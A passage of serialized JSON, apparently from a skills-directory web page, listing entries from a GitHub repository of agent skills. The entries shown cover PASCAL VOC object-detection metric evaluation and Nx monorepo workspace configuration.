diagnostics.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002Fsub-skills\u002Fpython-api\u002FSKILL.md",[],[],{"skillNo":96,"name":97,"nameZh":6,"description":98,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":78,"licenseFileUrl":6,"sourceHtmlUrl":99,"categories":100,"keywords":101,"publishedAt":82},"01M7FFFVZQZ2GJ0C0TGP7JHD20","file-evaluation","Folder-based PASCAL VOC AP\u002FmAP evaluation from ground-truth and detection text files.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002Fsub-skills\u002Ffile-evaluation\u002FSKILL.md",[],[],{"skillNo":103,"name":104,"nameZh":6,"description":105,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":78,"licenseFileUrl":6,"sourceHtmlUrl":106,"categories":107,"keywords":108,"publishedAt":82},"01M7FFFSFNYSE77SJ6PE1CK2DA","object-detection-metrics","Guides legacy Object-Detection-Metrics PASCAL VOC AP\u002FmAP evaluation from detection text folders and direct Python API classes.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002FSKILL.md",[],[],{"skillNo":110,"name":111,"nameZh":6,"description":112,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":78,"licenseFileUrl":6,"sourceHtmlUrl":113,"categories":114,"keywords":115,"publishedAt":82},"01M7FFFP0GCK1RVXBCPQ8APBMT","nx-workspace-patterns","Configure and optimize Nx monorepo workspaces. Use when setting up Nx, configuring project boundaries, optimizing build caching, or implementing affected commands.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fnx-workspace-patterns\u002FSKILL.md",[],[]]